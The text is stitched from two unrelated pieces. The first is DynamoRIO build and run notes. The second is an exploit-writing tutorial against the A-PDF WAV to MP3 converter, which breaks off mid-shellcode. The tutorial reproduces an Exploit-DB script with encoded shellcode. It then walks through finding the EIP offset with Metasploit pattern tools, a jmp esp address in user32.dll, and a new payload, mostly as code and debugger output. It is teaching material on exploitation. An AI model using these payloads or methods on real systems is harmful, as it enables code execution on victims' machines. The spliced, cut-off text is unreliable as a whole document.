  * BUILD\_TOOLS = whether to build the tools \(primarily Windows\)
  * BUILD\_SAMPLES = whether to build the client samples
  * BUILD\_TESTS = whether to build the tests
  * INSTALL\_PREFIX = where to install the results after building
  * NTDLL\_LIBPATH = where ntdll.lib is located \(Windows-only\)
  * DEBUG = whether to enable asserts and logging
  * INTERNAL = for DynamoRIO developer use
  * DISABLE\_WARNINGS = useful if your version of gcc produces warnings we have not seen \(we compile with warnings-are-errors\)

Press Configure and then OK \(or `c` and then `g`\) to complete the
configuration step and generate the Makefiles. It is normal to see messages
like this for various types \(uint, ushort, bool, byte, sbyte, uint32, uint64,
int32, int64\):

[code]

    -- Check size of bool   
    -- Check size of bool - failed 
[/code]

This is really a check for the existence of a typedef and it is normal for
some such checks to print a "failure" message. On Windows, if you have both
`cl` and `gcc` on your path, you can ensure that CMake selects `cl` by setting
the `CC` and `CXX` environment variables. For example:

[code]

    CC=cl CXX=cl cmake ..
[/code]

## Building and Installing

After the configuration step is complete, type `nmake install` on Windows or
`make install` on Linux.

## Configuring in Batch Mode

Instead of interactive configuration you can pass all your parameter changes
to CMake on the command line. For example: On Windows:

[code]

    mkdir build  
    cd build  
    cmake -G"NMake Makefiles" -DBUILD_DOCS:BOOL=OFF ..   
    nmake install
[/code]

On Linux:

[code]

    mkdir build  
    cd build  
    cmake -DBUILD_DOCS:BOOL=OFF ..   
    make install
[/code]

Developers may wish to pass `-DCMAKE_VERBOSE_MAKEFILE=1` to CMake in order to
see the compilation command lines. They can alternatively be seen for any
individual build with `make VERBOSE=1`.

## Re-Configuring

You can re-run the configure step, using the same parameters that you
originally used, in two ways:

[code]

      make rebuild_cache
[/code]

Or:

[code]

      cmake .
[/code]

With the latter command you can also change the configuration, but be sure to
do a `make clean` prior to building as CMake does not performance dependence
checking on this type of modification. As an example:

[code]

      cmake -DDEBUG=ON -DINTERNAL=ON .  
      make clean
[/code]

## Using Unix Makefiles On Windows For Parallel Builds

On Windows you can target "Unix Makefiles" in order to use GNU make and build
in parallel \(NMake does not support parallel builds; see also issue 71\). If
you have gcc installed you will have to explicitly tell the CMake generator to
prefer cl:

[code]

    cmake -G"Unix Makefiles" -DCMAKE_GENERATOR_CC=cl -DCMAKE_GENERATOR_CXX=cl ..
[/code]

If you see this error from cygwin make:

[code]

    *** target pattern contains no `%'. 
[/code]

Then you need to switch to a version of make that supports colons in paths.
One such version is 3.80, a copy of which \(compiled for cygwin\) is available
in the make/ directory. I recommend copying it into your /usr/local/bin
directory and either putting /usr/local/bin ahead of /usr/bin on your `PATH`
or passing it to CMake explicitly:

[code]

    cmake -DCMAKE_MAKE_PROGRAM=$SYSTEMDRIVE/cygwin/usr/local/bin/make.exe
[/code]

Now you can build in parallel, which reduces build time:

[code]

    make -j6 install
[/code]

Build time on Windows can be further improved by disabling progress and status
messages \(see issue 71 \). Currently there is no CMake option to do so \(we
have filed a bug with the CMake developers and it will be available in 2.6.4
as -DCMAKE\_RULE\_MESSAGES=OFF\), but you can hack it by editing the CMake-
generated files:

[code]

    for i in `find . -name \*build.make`; do sed -i '/cmake_echo/d;/progress/d' $i; done
[/code]

See issue 71  for some representative performance numbers, and for
instructions on building with Mingw and the MSYS shell, which is a little
faster than building under Cygwin.

* * *
# Running DynamoRIO

Here are some tips beyond the information in the API documentation:

## Running drinject.exe on Windows

I use the following in my `.bashrc` \(using the internal version of drinject,
`drinjectx`, which takes options from the DYNAMORIO\_OPTIONS environment
variable\):

[code]

    function rundr {  
        arch=$1;  
        shift;  
        build=$1;  
        shift;  
        # optional args to drinject  
        injectargs=""  
        while [ ${1:0:1} == "-" ]; do  
            injectargs="$injectargs $1";  
            shift;  
        done  
        # avoid double-eval issues by quoting app path  
        app=$1;  
        shift;  
        echo "using $DYNAMORIO_HOME/lib${arch}/${build}/dynamorio.dll" >&2;  
        /usr/bin/time $DYNAMORIO_HOME/bin${arch}/drinjectx.exe ${injectargs} \  
          ${DYNAMORIO_HOME//\//\\\\}\\\\lib${arch}\\\\${build}\\\\dynamorio.dll "$app" $*;  
    }  
      
    alias rio='rundr 32 release -mem -stats'  
    alias drio='rundr 32 debug -mem -stats'  
    alias rio64='rundr 64 release -mem -stats'  
    alias drio64='rundr 64 debug -mem -stats'
[/code]

## Running dynamorio on Linux

Because the built-from-source layout does not quite match the release package
layout \(tools/dynamorio versus bin/drdeploy\) I use the following in my
`.bashrc`:

[code]

    function usebuild {  
        export DYNAMORIO_HOME=$PWD;  
        echo "DYNAMORIO_HOME=$DYNAMORIO_HOME";  
    }  
    function runrio {  
        arch=${1:-64};  
        shift;  
        if test -e $DYNAMORIO_HOME/bin${arch}/drdeploy ; then  
            $DYNAMORIO_HOME/bin${arch}/drdeploy -${arch} $*;  
        elif test -e $DYNAMORIO_HOME/bin/runstats ; then  
            # from within a build dir: no lib32/debug, etc.  
            # no -debug  
            arg1=${1/-debug/};  
            shift;  
            $DYNAMORIO_HOME/bin/runstats \  
                -env LD_LIBRARY_PATH "${DYNAMORIO_HOME}/lib:${LD_LIBRARY_PATH}" \  
                -env LD_PRELOAD "libdrpreload.so libdynamorio.so" $arg1 $*;  
       else  
            $DYNAMORIO_HOME/../tools/dynamorio -${arch} $*;  
        fi  
    }  
    alias rio='runrio 32'  
    alias rio64='runrio 64'  
    alias drio='runrio 32 -debug'  
    alias drio64='runrio 64 -debug'
[/code]  
---  
  

Comment by g...@corest.com, May 18, 2009

To compile a client on Windows, from the command line, with no makefile, and
using Visual Studio Express 2008, I used the command line:

[code]

    C:\dr\samples> cl /GS- /DSHOW_RESULTS /DWINDOWS /DX86_32 countcalls.c /I..\include\ /link /NODEFAULTLIB /NOENTRY /libpath:..\lib32\release dynamorio.lib /dll /out:countcalls.dll
[/code]

  

# Tutorial write an exploit Part 1 JMP to ESP | Michele Manzotti
**Created:**| _4/7/2012 11:14:37 AM_  
---|---  
**Updated:**| _4/7/2012 11:14:37 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials simple_  
  

## Tutorial write an exploit Part 1 JMP to ESP

Scarica l'articolo in formato PDF

This article begins a small series of tutorials that aims to make you
understand in an easier and more detailed way how to build an exploit. The
Internet is an inexhaustible source of knowledge and I also want to give my
contribution.

In most cases when there is an exploit which takes advantage of a
vulnerability, it does not work. This does not mean that there is not the
vulnerability but that some small piece of the puzzle was not reassembled
correctly. The goal of this first tutorial is to understand in simple steps
how these vulnerabilities work, in order to write working exploits according
to our needs.

Let’s start with this exploit, which allows a buffer overflow \(BOF\) of the
program a-pdf, a tool to convert WAV to MP3.  
The exploit was tested on XP with Service Pack 3. So it doesn’t work on
different platform like Win7.

You can download the code below:

[code]

    #!/usr/bin/env python
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
     
    code = (
    "\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
    "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
    "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
    "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
    "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
    "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
    "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
    "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
    "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
    "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
    "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
    "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
    "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
    "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
    "\x51\x42\x4c\x42\x43\x43\x30\x41\x41");
     
    buff = ("\x41" * 4132);
    nops = ("\x90" * 12);
    nseh = ("\xEB\x06\x90\x90");
    retn = ("\x5C\x26\x47\x00");
    junk = ("\x42" * 300);
    sploit = (buff+ nseh + retn + nops + code + junk);
     
    try:
        f1 = open("Dr_IDEs.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

As you could read, the exploit should launch calc.exe, but unfortunately we
can only see an application crash on Win7.

But how can we exploit this vulnerability for Win7?

This “simple” question will allow us to understand how the Windows stack
works.  
Currently what we have to know is that when the CPU loads a program into
memory three components are placed:  
\- Code segment  
\- Data segment  
\- Stack segment

Stack section loads and unloads frames, and to perform this function the CPU
uses registers.

The most important ones are:  
\- ESP pointer on the stack  
\- EBP: pointer to the base of the stack  
\- EIP: pointer to next instruction  
Now I would not go into details which have already been widely discussed on
the Internet, refer to Google to fill some gaps in this article.

Stay tuned to our goal we say that there are many techniques of jumping to
exploit a BOF. Watching this exploit is clear that it uses a technique called
SEH, nevertheless in this tutorial we’ll see how to use a jmp esp.

Firstly we verify that there is actually BOF and the eip is overwritten:

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
    # It Doesn't Work
     
    buff = ("\x41" * 5000);
    sploit = (buff);
     
    try:
        f1 = open("Dr_IDEs2.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

At this point we run the a-pdf application and link the process to OllyDbg.  
By converting the newly created file with the exploit we notice that the
application crashs and we verify precisely that the EIP is overwritten with
all A “\ x41″ in hexadecimal notation:

[code]

    EAX 00000000
    ECX 00001388
    EDX 00001388
    EBX 41414141
    ESP 034DFE90 ASCII "AAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    EBP 41414141
    ESI 41414141
    EDI 41414141
    EIP 41414141
    
[/code]

So the BOF happens, but in order to be used it is necessary to calculate the
offset, the right range where the EIP is overwritten. To help us there are
some tools in the framework Metasploit:

[code]

    root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
    Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3
    Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3A [. . .]
[/code]

We create the pattern and copy the output directly into the exploit:

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
    # It Doesn't Work
     
    buff = ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
    6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
    d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
    f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A [ . . .]");
    sploit = (buff);
     
    try:
        f1 = open("Dr_IDEs3.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

Again we check the EIP address:

[code]

    EAX 00000000
    ECX 00001388
    EDX 00001388
    EBX 35684634
    ESP 035DFE90 ASCII "h7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0
    Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6F
    m7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1F
    p2Fp3Fp4F
    EBP 31684630
    ESI 68463368
    EDI 46326846
    EIP 46366846
[/code]

Eip point to 46366846. So to calculate the offset we can use another tool of
Metasploit. It takes as input the value just found and the number of bytes
which created the BOF.

[code]

    root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 46366846 5000
    4128
[/code]

Now we know exactly where to overwrite the EIP. We have a structure like this:  
\[ 4128 bytes BOF \] \[ 4 bytes eip \] \[ Other bytes where we can put the
shellcode \]

We know that once the EIP is overwritten and the flow of execution is
captured, there is another register that could be useful to point directly to
the shellcode: ESP, or the top of the stack.

Let’s see exactly what happens:

[code]

    #!/usr/bin/env python
     
    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
    # It Doesn't Work
     
    buff = ("\x41" * 4128);
    eip = ("\x42" * 4);
    shellcode = ("\x43" * 200);
    sploit = (buff + eip + shellcode);
     
    try:
        f1 = open("Dr_IDEs4.wav","w");	#No file checking, any file extension works... (.xyz .foo .abc)
        f1.write(sploit);
        f1.close();
        print ('[*] Success. Load File.');
     
    except:
        print ("[-] Error, could not write the file.");
[/code]

In this script we created a BOF with the character “\ x41″, overwrote the EIP
with “\ x42″ and injected other code “\ x43″. Analyzing the registers we note
that the EIP has been properly overwritten and the ESP contains the character
C or “\ x43”. Bingo\!

[code]

    EAX 00000000
    ECX 000010EC
    EDX 000010EC
    EBX 41414141
    ESP 035CFE90 ASCII 43,"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
    CCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
    EBP 41414141
    ESI 41414141
    EDI 41414141
    EIP 42424242
[/code]

Checking the address to which ESP points, we can see that it was opportunely
overwritten with “\x43″.

[code]

    035CFE90   43434343
    035CFE94   43434343
    035CFE98   43434343
    035CFE9C   43434343
    035CFEA0   43434343
    035CFEA4   43434343
    035CFEA8   43434343
    035CFEAC   43434343
    035CFEB0   43434343
    035CFEB4   43434343
    035CFEB8   43434343
    035CFEBC   43434343
    035CFEC0   43434343
    035CFEC4   43434343
    035CFEC8   43434343
    035CFECC   43434343
[/code]

Now we replace the characters “\x43″ with a working shellcode and overwrite
the EIP with a jmp esp opcode. Thus when the program flow reaches the EIP, it
will jump straight to our shellcode. In order to find a jmp esp opcode is
necessary to look for the dll of OS and the program that loads at startup.

Hitting on “E” OllyDbg, you can see all DLLs loaded:

[code]

    Executable modules
    Base       Size       Entry      Name       File version      Path
    00400000   001EC000   00401000   wavtomp3   1.0.0.0           C:\Program Files\A-PDF Wav to MP3\wavtomp3.exe
    10000000   0008C000   10029CF0   lame_enc                     C:\Program Files\A-PDF Wav to MP3\lame_enc.dll
    6B7F0000   0030B000   6B83E295   mf         12.0.7600.16385   C:\Windows\System32\mf.dll
    6D270000   00072000   6D271576   dsound     6.1.7600.16385 (  C:\Windows\system32\dsound.dll
    6D800000   00059000   6D80DB19   MFPlat     12.0.7600.16385   C:\Windows\System32\MFPlat.DLL
    6D860000   00198000   6D861291   NetworkE   6.1.7600.16385 (  C:\Windows\system32\NetworkExplorer.dll
    6DA00000   0005C000   6DA34A08   Structur   7.00.7600.16385   C:\Windows\System32\StructuredQuery.dll
    6DFB0000   00016000   6DFB173D   thumbcac   6.1.7600.16385 (  C:\Windows\system32\thumbcache.dll
    707E0000   0009F000   707E18C6   SearchFo   6.1.7600.16385 (  C:\Windows\system32\SearchFolder.dll
    70990000   00014000   70991340   msacm32    6.1.7600.16385 (  C:\Windows\system32\msacm32.dll
    70B00000   00004000   70B01030   ksuser     6.1.7600.16385 (  C:\Windows\System32\ksuser.dll
    70B40000   00032000   70B437C1   winmm      6.1.7600.16385 (  C:\Windows\system32\winmm.dll
    70F30000   0002B000   70F4D3FE   ieproxy    8.00.7600.16625   C:\Program Files\Internet Explorer\ieproxy.dll
    70FA0000   00058000   70FA15C0   tiptsf     6.1.7600.16385 (  C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
    713C0000   0002E000   713C1BBA   SHDOCVW    6.1.7600.16385 (  C:\Windows\system32\SHDOCVW.dll
    71480000   0004E000   714B7FAE   actxprxy   6.1.7600.16385 (  C:\Windows\system32\actxprxy.dll
    715B0000   0006F000   715B1E41   ntshrui    6.1.7600.16385 (  C:\Windows\system32\ntshrui.dll
    71620000   0000B000   71621200   CSCAPI     6.1.7600.16385 (  C:\Windows\system32\CSCAPI.dll
    71630000   00009000   716311D0   CSCDLL     6.1.7600.16385 (  C:\Windows\System32\CSCDLL.dll
    71640000   0006A000   71641B06   cscui      6.1.7600.16385 (  C:\Windows\System32\cscui.dll
    716B0000   00031000   716BA8B6   EhStorSh   6.1.7600.16385 (  C:\Windows\system32\EhStorShell.dll
    71880000   0016F000   7188D5F6   explorer   6.1.7600.16385 (  C:\Windows\system32\explorerframe.dll
    72340000   00A7E000   72347761   ieframe    8.00.7600.16385   C:\Windows\system32\ieframe.DLL
    73410000   0000A000   73414D20   slc        6.1.7600.16385 (  C:\Windows\system32\slc.dll
    73440000   00014000   73441DA9   ATL        3.05.2284         C:\Windows\System32\ATL.DLL
    736C0000   00021000   736C145E   ntmarta    6.1.7600.16385 (  C:\Windows\system32\ntmarta.dll
    73710000   00007000   737110C0   AVRT       6.1.7600.16385 (  C:\Windows\System32\AVRT.dll
    737A0000   00025000   737A2B71   POWRPROF   6.1.7600.16385 (  C:\Windows\system32\POWRPROF.dll
    737D0000   0003C000   737D3089   OLEACC     7.0.0.0 (win7_rt  C:\Windows\system32\OLEACC.dll
    73900000   0000F000   7390125E   samcli     6.1.7600.16385 (  C:\Windows\system32\samcli.dll
    73920000   00009000   739215A6   netutils   6.1.7600.16385 (  C:\Windows\system32\netutils.dll
    73970000   00007000   73971120   wsock32    6.1.7600.16385 (  C:\Windows\system32\wsock32.dll
    73A60000   000FB000   73A71AAE   WindowsC   6.1.7600.16385 (  C:\Windows\system32\WindowsCodecs.dll
    73B90000   00013000   73B91D3F   dwmapi     6.1.7600.16385 (  C:\Windows\system32\dwmapi.dll
    73BB0000   00039000   73BBE1E6   MMDevApi   6.1.7600.16385 (  C:\Windows\System32\MMDevApi.dll
    73C40000   0002F000   73C4C7A2   DUser      6.1.7600.16385 (  C:\Windows\system32\DUser.dll
    73C70000   000B2000   73CC16FD   DUI70      6.1.7600.16385 (  C:\Windows\system32\DUI70.dll
    73EC0000   00040000   73ECA2DD   uxtheme    6.1.7600.16385 (  C:\Windows\system32\uxtheme.dll
    73F00000   000F5000   73F0ADAE   propsys    7.00.7600.16385   C:\Windows\system32\propsys.dll
    74000000   00012000   74004795   SAMLIB     6.1.7600.16385 (  C:\Windows\system32\SAMLIB.dll
    74040000   0019E000   74073731   comctl32   6.10 (win7_rtm.0  C:\Windows\WinSxS\x86_microsoft.windows.common-
    controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll
    745B0000   00009000   745B1220   version    6.1.7600.16385 (  C:\Windows\system32\version.dll
    748D0000   0003B000   748D128D   rsaenh     6.1.7600.16385 (  C:\Windows\system32\rsaenh.dll
    74B30000   00016000   74B32DC3   CRYPTSP    6.1.7600.16385 (  C:\Windows\system32\CRYPTSP.dll
    74F00000   00019000   74F01319   srvcli     6.1.7600.16385 (  C:\Windows\system32\srvcli.dll
    74F70000   00008000   74F710E9   Secur32    6.1.7600.16385 (  C:\Windows\System32\Secur32.dll
    74F90000   0001A000   74F92CCD   SSPICLI    6.1.7600.16385 (  C:\Windows\System32\SSPICLI.DLL
    74FB0000   0004B000   74FB2B6C   apphelp    6.1.7600.16385 (  C:\Windows\system32\apphelp.dll
    75000000   0000C000   750010E1   CRYPTBAS   6.1.7600.16385 (  C:\Windows\system32\CRYPTBASE.dll
    750A0000   0000E000   750A1235   RpcRtRem   6.1.7600.16385 (  C:\Windows\system32\RpcRtRemote.dll
    750B0000   0000B000   750B1992   profapi    6.1.7600.16385 (  C:\Windows\system32\profapi.dll
    75160000   00012000   75161441   DEVOBJ     6.1.7600.16385 (  C:\Windows\system32\DEVOBJ.dll
    752A0000   00027000   752A58B9   CFGMGR32   6.1.7600.16385 (  C:\Windows\system32\CFGMGR32.dll
    75360000   0004A000   75367A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
    753B0000   0000A000   753B136C   LPK        6.1.7600.16385 (  C:\Windows\system32\LPK.dll
    753C0000   000D4000   754110E5   kernel32   6.1.7600.16385 (  C:\Windows\system32\kernel32.dll
    754A0000   00045000   754A11E1   WLDAP32    6.1.7600.16385 (  C:\Windows\system32\WLDAP32.dll
    754F0000   000CC000   754F168B   MSCTF      6.1.7600.16385 (  C:\Windows\system32\MSCTF.dll
    755C0000   0007B000   755C1AEE   comdlg32   6.1.7600.16385 (  C:\Windows\system32\comdlg32.dll
    75640000   0009D000   756747D7   USP10      1.0626.7600.1638  C:\Windows\system32\USP10.dll
    756E0000   0008F000   756E3FB1   oleaut32   6.1.7600.16385    C:\Windows\system32\oleaut32.dll
    75770000   00019000   75774975   sechost    6.1.7600.16385 (  C:\Windows\SYSTEM32\sechost.dll
    757F0000   00035000   757F145D   WS2_32     6.1.7600.16385 (  C:\Windows\system32\WS2_32.dll
    75830000   00083000   758323D2   CLBCatQ    2001.12.8530.163  C:\Windows\system32\CLBCatQ.DLL
    759C0000   000AC000   759CA472   msvcrt     7.0.7600.16385 (  C:\Windows\system32\msvcrt.dll
    75AA0000   0019D000   75AA17E7   SETUPAPI   6.1.7600.16385 (  C:\Windows\system32\SETUPAPI.dll
    75C40000   001F9000   75C4224D   iertutil   8.00.7600.16385   C:\Windows\system32\iertutil.dll
    75E40000   00C49000   75EBD49A   shell32    6.1.7600.16385 (  C:\Windows\system32\shell32.dll
    76A90000   000A1000   76ACAFD4   RPCRT4     6.1.7600.16385 (  C:\Windows\system32\RPCRT4.dll
    76B40000   00057000   76B5A24A   SHLWAPI    6.1.7600.16385 (  C:\Windows\system32\SHLWAPI.dll
    76BA0000   000C9000   76BBF7C9   user32     6.1.7600.16385 (  C:\Windows\system32\user32.dll
    76C70000   0004E000   76C7EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
    76E00000   0015C000   76E55D13   ole32      6.1.7600.16385 (  C:\Windows\system32\ole32.dll
    76F60000   0013C000              ntdll      6.1.7600.16385 (  C:\Windows\SYSTEM32\ntdll.dll
    770B0000   0001F000   770B1355   IMM32      6.1.7600.16385 (  C:\Windows\system32\IMM32.DLL
    770D0000   00005000   770D1438   PSAPI      6.1.7600.16385 (  C:\Windows\system32\PSAPI.DLL
    770E0000   00006000   770E1782   NSI        6.1.7600.16385 (  C:\Windows\system32\NSI.dll
    770F0000   000A0000   77112DD9   advapi32   6.1.7600.16385 (  C:\Windows\system32\advapi32.dll
[/code]

So we look for the opcode jmp esp in the dll:

[code]

    76BA0000   000C9000   76BBF7C9   user32     6.1.7600.16385 (  C:\Windows\system32\user32.dll
[/code]

Double click on dll and then right click we go to “Search for -> All commands
-> jmp esp”:

[code]

    Found commands
    Address    Disassembly                               Comment
    76BA1000   CMP DWORD PTR DS:[EDI+243276F8],ECX       (Initial CPU selection)
    76BC6D53   JMP ESP
[/code]

So 76BC6D53 is the address with the instruction jmp esp inside user32.dll
“\x53\x6d\xbc\x76″ in little endian. However, to make the exploit more
reliable as possible is good practice to use dll or exe which are loaded from
the program, such as “wavtomp3.exe”.  
Now we can add shellcode to launch calc.exe:

[code]

    # http://www.exploit-db.com/exploits/14681/
     
    #################################################################################
    #
    # Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit
    # Exloit By:	Dr_IDE
    # Tested On:    XPSP3
    # Date:		August 18, 2010
    # Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html
    # Reference:	http://www.exploit-db.com/exploits/14676/
    # Usage:	Import File, Select It, Click Play, Calc.
    #
    # EDB Notes:
    # This exploit uses SEH to gain code execution, while EDB 14676 uses a direct
    # EIP overwrite which is operating system specific.
    #
    #################################################################################
     
    # windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH
    # It Doesn't Work
     
    buff = ("\x41" * 4128);
    # 76bc6d53
    eip = ("\x53\x6d\xbc\x76");
    shellcode = ("\x33\xc9\xb8\x57\xba\xf8\x4b\xdb\xda\xb1\x33\xd9\x74\x24\xf4"
    "\x5b\x83\xeb\xfc\x31\x43\x0d\x03\x43\x5a\x58\x0d\xb7\x8c\x15"
    "\xee\x48\x4c\x46\x66\xad\x7d\x54\x1c\xa5\x2f\x68\x56\xeb\xc3"
    "\x03\x3a\x18\x50\x61\x93\x2f\xd1\xcc\xc5\x1e\xe2\xe0\xc9\xcd"
    "\x20\x62\xb6\x0f\x74\x44\x87\xdf\x89\x85\xc0\x02\x61\xd7\x99"
    "\x49\xd3\xc8\xae\x0c\xef\xe9\x60\x1b\x4f\x92\x05\xdc\x3b\x28"
    "\x07\x0d\x93\x27\x4f\xb5\x98\x60\x70\xc4\x4d\x73\x4c\x8f\xfa"
    "\x40\x26\x0e\x2a\x99\xc7\x20\x12\x76\xf6\x8c\x9f\x86\x3e\x2a"
    "\x7f\xfd\x34\x48\x02\x06\x8f\x32\xd8\x83\x12\x94\xab\x34\xf7"
    "\x24\x78\xa2\x7c\x2a\x35\xa0\xdb\x2f\xc8\x65\x50\x4b\x41\x88"
    "\xb7\xdd\x11\xaf\x13\x85\xc2\xce\x02\x63\xa5\xef\x55\xcb\x1a"
    "\x4a\x1d\xfe\x4f\xec\x7c\x95\x8e\x7c\xfb\xd0\x90\x7e\x04\x73"
